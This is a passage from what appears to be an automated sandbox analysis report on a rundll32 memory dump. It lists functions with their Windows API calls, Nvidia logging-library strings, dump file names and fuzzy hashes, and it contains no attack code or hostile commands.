LocalAlloc.KERNEL32(?,?,cryptnet.dll,00007FF8A8CFA9DB), ref: 00007FF8A8CFADF9
GetSystemDirectoryW.KERNEL32(?,?,cryptnet.dll,00007FF8A8CFA9DB), ref: 00007FF8A8CFAE0C

Strings

cryptnet.dll, xrefs: 00007FF8A8CFADC7

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: DirectorySystem$AllocLocal
String ID: cryptnet.dll
API String ID: 1371172169-1563376703
Opcode ID: 41d284b39d861a69d634d39cc0ac6990f4b671fd7f177f07053520ddd399bce1
Instruction ID: e80a0e2a5286e2c42bbf8e11bbe88d8f4c87fe4a51f2c78bdf59b5e04eaa8505
Opcode Fuzzy Hash: 41d284b39d861a69d634d39cc0ac6990f4b671fd7f177f07053520ddd399bce1
Instruction Fuzzy Hash: 6E11B126A0A741A6FB449F62A44017DB2A1FF48FC4F884135DE4E43785EF7CF8228B18

Function 00007FF8A8D2E30C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

std::current_exception.LIBCMT ref: 00007FF8A8D2E367
std::runtime_error::runtime_error.LIBCPMT ref: 00007FF8A8D2E38A

Part of subcall function 00007FF8A8D00A2C: __std_exception_copy.LIBVCRUNTIME ref: 00007FF8A8D00A68

_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D2E39B

Part of subcall function 00007FF8A8DC1390: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF8A8D9B7E3), ref: 00007FF8A8DC140D
Part of subcall function 00007FF8A8DC1390: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF8A8D9B7E3), ref: 00007FF8A8DC144C

Strings

SHGetFolderPathW failed with , xrefs: 00007FF8A8D2E370

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Exception$FileHeaderRaiseThrow__std_exception_copystd::current_exceptionstd::runtime_error::runtime_error
String ID: SHGetFolderPathW failed with
API String ID: 530891933-2816540289
Opcode ID: 58610502b58b0b572c1adac7209f5f57e80d41dadf13108b99969dd46fc7d3b2
Instruction ID: 4a8009f017d8a78b6f3fbbaa62d743bda011913b274c44b114fdbab4bdddb4ee
Opcode Fuzzy Hash: 58610502b58b0b572c1adac7209f5f57e80d41dadf13108b99969dd46fc7d3b2
Instruction Fuzzy Hash: 1321B03270AB81A2EB20AB61E4843AE7360FF857D0F801235D7AD47A99EF7CD514CB04

Function 00007FF8A8D03C94 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF8A8D03CEB

Strings

void __cdecl Nvidia::Logging::RegistryKey::CheckErrorCode(long,const char *), xrefs: 00007FF8A8D03D29
c:\dvs\p4\build\sw\rel\gpu_drv\r565\r565_00\drivers\ui\logging\logging.lib\RegistryKey.h, xrefs: 00007FF8A8D03D22
RegOpenKeyEx, xrefs: 00007FF8A8D03CF7

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Open
String ID: RegOpenKeyEx$c:\dvs\p4\build\sw\rel\gpu_drv\r565\r565_00\drivers\ui\logging\logging.lib\RegistryKey.h$void __cdecl Nvidia::Logging::RegistryKey::CheckErrorCode(long,const char *)
API String ID: 71445658-1403648629
Opcode ID: 168d4153820dfa5bf4347ea5d55fdae4738c1ae759da0c2e42162f5cb4d04536
Instruction ID: 5143c0ef74e00e47834957335e1877afbf939fce7cb8fcb03c802336269f3205
Opcode Fuzzy Hash: 168d4153820dfa5bf4347ea5d55fdae4738c1ae759da0c2e42162f5cb4d04536
Instruction Fuzzy Hash: 4911003270AB46A1FB208B29F44076A6360FB86BE4F404231DA6C077A4CF3CD198CB58

Function 00007FF8A8D03FD4 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32 ref: 00007FF8A8D04029

Strings

void __cdecl Nvidia::Logging::RegistryKey::CheckErrorCode(long,const char *), xrefs: 00007FF8A8D0407B
c:\dvs\p4\build\sw\rel\gpu_drv\r565\r565_00\drivers\ui\logging\logging.lib\RegistryKey.h, xrefs: 00007FF8A8D04074
RegQueryValueEx, xrefs: 00007FF8A8D04049

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: QueryValue
String ID: RegQueryValueEx$c:\dvs\p4\build\sw\rel\gpu_drv\r565\r565_00\drivers\ui\logging\logging.lib\RegistryKey.h$void __cdecl Nvidia::Logging::RegistryKey::CheckErrorCode(long,const char *)
API String ID: 3660427363-2563057211
Opcode ID: 6403df39ea2b4c8683c83ac7e8edc363348eace101ee43b770daa147beb4f0ec
Instruction ID: 366e757239321b43e5727da5d9882871628b33887ef1ef956d6f5dca1b8183e2
Opcode Fuzzy Hash: 6403df39ea2b4c8683c83ac7e8edc363348eace101ee43b770daa147beb4f0ec
Instruction Fuzzy Hash: 7011DA7161EB42E1EB60CB14E440B6A7371FB857D4F402135E6AE03699DF3CD558CB14

Function 00007FF8A8D039B8 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF8A8D039FC

Part of subcall function 00007FF8A8D03848: __std_exception_copy.LIBVCRUNTIME ref: 00007FF8A8D038F2
Part of subcall function 00007FF8A8D03848: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D03915
Part of subcall function 00007FF8A8D03848: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D03941
Part of subcall function 00007FF8A8D03848: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D03965
Part of subcall function 00007FF8A8D03848: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D03989

Part of subcall function 00007FF8A8D13874: throw_exception.LIBCPMT ref: 00007FF8A8D13900

Strings

void __cdecl Nvidia::Logging::RegistryKey::CheckErrorCode(long,const char *), xrefs: 00007FF8A8D03A3A
c:\dvs\p4\build\sw\rel\gpu_drv\r565\r565_00\drivers\ui\logging\logging.lib\RegistryKey.h, xrefs: 00007FF8A8D03A33
RegOpenKeyEx, xrefs: 00007FF8A8D03A08

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocatestd::_$Open__std_exception_copythrow_exception
String ID: RegOpenKeyEx$c:\dvs\p4\build\sw\rel\gpu_drv\r565\r565_00\drivers\ui\logging\logging.lib\RegistryKey.h$void __cdecl Nvidia::Logging::RegistryKey::CheckErrorCode(long,const char *)
API String ID: 2507522339-1403648629
Opcode ID: 1a8c7a166c5c236a1b3517bfebdfd1d2d6afa2ceb11a7d8eca7fe6af9cdc555c
Instruction ID: a75e7f7cc63999f1758b90fd515add0c717118d1e0b2c520ab682f9af5824add
Opcode Fuzzy Hash: 1a8c7a166c5c236a1b3517bfebdfd1d2d6afa2ceb11a7d8eca7fe6af9cdc555c
Instruction Fuzzy Hash: 27110632B0AA8291EB10CB29E8417A97360FB85BE4F904231DA6D437A4DF3DD556C748

Function 00007FF8A8CFA3C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF8A8CFA3CB
GetProcAddress.KERNEL32 ref: 00007FF8A8CFA3DB

Strings

CreateHardLinkW, xrefs: 00007FF8A8CFA3D4
kernel32.dll, xrefs: 00007FF8A8CFA3C4

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CreateHardLinkW$kernel32.dll
API String ID: 1646373207-294928789
Opcode ID: 69d15db900f5ea381d2d1439874bf761b1340bd491aac249e4236d0d5bea90ca
Instruction ID: 74473784f85d39109da6c549c6f4153a8fd7fac338affbd60e704392cdabf139
Opcode Fuzzy Hash: 69d15db900f5ea381d2d1439874bf761b1340bd491aac249e4236d0d5bea90ca
Instruction Fuzzy Hash: 26D0C938E1BA42F1EB04AB01EC850A423A0FF547C1F800075C44D01320BF3CAA798368

Function 00007FF8A8CFA3F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF8A8CFA3FB
GetProcAddress.KERNEL32 ref: 00007FF8A8CFA40B

Strings

CreateSymbolicLinkW, xrefs: 00007FF8A8CFA404
kernel32.dll, xrefs: 00007FF8A8CFA3F4

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CreateSymbolicLinkW$kernel32.dll
API String ID: 1646373207-1962376091
Opcode ID: 80caedae318dc50190f7938228b55261e8a6763591e7d84b28634753ea436a7e
Instruction ID: 9a799d0084efbb6f22d26fd7d15a45dfa5dacec09c3465527f17687e3e4f51cb
Opcode Fuzzy Hash: 80caedae318dc50190f7938228b55261e8a6763591e7d84b28634753ea436a7e
Instruction Fuzzy Hash: 38D0C278E5BA42E1EB04AB11EC9506823A0FB54792F814175D94D51360AF7CAA7A8728

Function 00007FF8A8DBC670 Relevance: 6.1, APIs: 4, Instructions: 126fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32 ref: 00007FF8A8DBC6B7
CreateFileW.KERNEL32 ref: 00007FF8A8DBC75A
CloseHandle.KERNEL32 ref: 00007FF8A8DBC7D2
CloseHandle.KERNEL32 ref: 00007FF8A8DBC7DE

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CloseFileHandle$AttributesCreate
String ID:
API String ID: 1279197413-0
Opcode ID: e5e6221bda934534c7198b04ffb04633a1afd006daa703f7abc995b6117b968a
Instruction ID: 632f0ddb1317518f13870dc4f44dea12b6fada6a51f8cb4a9380ed4d32a9eed3
Opcode Fuzzy Hash: e5e6221bda934534c7198b04ffb04633a1afd006daa703f7abc995b6117b968a
Instruction Fuzzy Hash: 3751C272A0A6819AE7109F11E44837AB3A0FB85BE4F104234DBBD07AD5DF3CE4598758

Function 00007FF8A8DD0B20 Relevance: 6.1, APIs: 4, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00007FF8A8DD0B70
GetSystemInfo.KERNEL32 ref: 00007FF8A8DD0B87
VirtualAlloc.KERNEL32 ref: 00007FF8A8DD0BF4
VirtualProtect.KERNEL32 ref: 00007FF8A8DD0C0E

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Virtual$AllocInfoProtectQuerySystem
String ID:
API String ID: 3562403962-0
Opcode ID: 04e6aaf630fafe1e3119f71ebd3d1127d44ed31f4638ad15e1e5b99fc79ebe75
Instruction ID: 26835b466dd28e856d933350bf3b699e8b937b42cc378bf2fb1e6cdb96639b96
Opcode Fuzzy Hash: 04e6aaf630fafe1e3119f71ebd3d1127d44ed31f4638ad15e1e5b99fc79ebe75
Instruction Fuzzy Hash: AF313A32B16A85AAEB20DF35D8407E833A5FB48788F444035DA5E87B44DF3CE656C754

Function 00007FF8A8D0BE90 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__RTDynamicCast.LIBVCRUNTIME ref: 00007FF8A8D0BEB8
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8A8D0BF53
_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D0BF64
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0BF8E

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CastDeallocateDynamicExceptionThrowstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 3778945295-0
Opcode ID: 7e8cf4fd689e27e40ec3149a9b23803f5aaded3899b559f1797ed71fe024f5ff
Instruction ID: 33ed3d14e36ca99a81c2f079820001c1f5b45e39316d4de943033c897f19a5b8
Opcode Fuzzy Hash: 7e8cf4fd689e27e40ec3149a9b23803f5aaded3899b559f1797ed71fe024f5ff
Instruction Fuzzy Hash: 2331BC72A1AA41A2EF14CF20E0003B863A1FB94BC4F444836DA6E0779DDF3CD859C764

Function 00007FF8A8DBCDC0 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 00007FF8A8DBCDEA

Part of subcall function 00007FF8A8D9B360: std::locale::_Locimp::_New_Locimp.LIBCPMT ref: 00007FF8A8D9B395
Part of subcall function 00007FF8A8D9B360: std::locale::_Setgloballocale.LIBCPMT ref: 00007FF8A8D9B3A0
Part of subcall function 00007FF8A8D9B360: _Yarn.LIBCPMT ref: 00007FF8A8D9B3B7
Part of subcall function 00007FF8A8D9B360: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D9B404

std::locale::_Locimp::_New_Locimp.LIBCPMT ref: 00007FF8A8DBCE29
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8DBCE75
_Yarn.LIBCPMT ref: 00007FF8A8DBCEA3

Part of subcall function 00007FF8A8D5DEB0: std::_Locinfo::_Locinfo.LIBCPMT ref: 00007FF8A8D5DEE2
Part of subcall function 00007FF8A8D5DEB0: _Getcvt.LIBCPMT ref: 00007FF8A8D5DEEC
Part of subcall function 00007FF8A8D5DEB0: std::_Locinfo::~_Locinfo.LIBCPMT ref: 00007FF8A8D5DF15

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: std::_std::locale::_$LocimpLocimp::_LocinfoLockitLockit::~_New_Yarn$GetcvtInitLocinfo::_Locinfo::~_Setgloballocale
String ID:
API String ID: 1900380900-0
Opcode ID: c1beaac3b4cfa616bdd29feecd7804cac1546bf69316845ad3150be0026fdecc
Instruction ID: 1d9da260569bcbd864073547ffef9593c7451454e4929f07eb689abce37378b5
Opcode Fuzzy Hash: c1beaac3b4cfa616bdd29feecd7804cac1546bf69316845ad3150be0026fdecc
Instruction Fuzzy Hash: 76319E31A0AB82E6EB50DB51E44427AB3A0FF84BE0F044135DA6D47B95EF3CE4658328

Function 00007FF8A8CFAB70 Relevance: 6.1, APIs: 4, Instructions: 69libraryCOMMON

Download Yara Rule

APIs

VerSetConditionMask.KERNEL32 ref: 00007FF8A8CFABB0
VerifyVersionInfoW.KERNEL32 ref: 00007FF8A8CFABDE
LoadLibraryExW.KERNEL32 ref: 00007FF8A8CFAC3F
LocalFree.KERNEL32 ref: 00007FF8A8CFAC4B

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ConditionFreeInfoLibraryLoadLocalMaskVerifyVersion
String ID:
API String ID: 3996897175-0
Opcode ID: 7e5fed11087c4326b1762b0ef82043d9a06b0ff3c383ee0b1bfba45b1b089046
Instruction ID: 0678750c5ee2cb682fd509dcefd710a3c9f91dcb283413b1ab1633fcf3733783
Opcode Fuzzy Hash: 7e5fed11087c4326b1762b0ef82043d9a06b0ff3c383ee0b1bfba45b1b089046
Instruction Fuzzy Hash: 77210832B1A642EAFF24DB75E8052B57290EF88BC4F044034DA0D87795EF3CE6558B68

Function 00007FF8A8D1E4C0 Relevance: 6.1, APIs: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D1E52B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8A8D1E582
_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D1E593
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D1E59E

Memory Dump Source

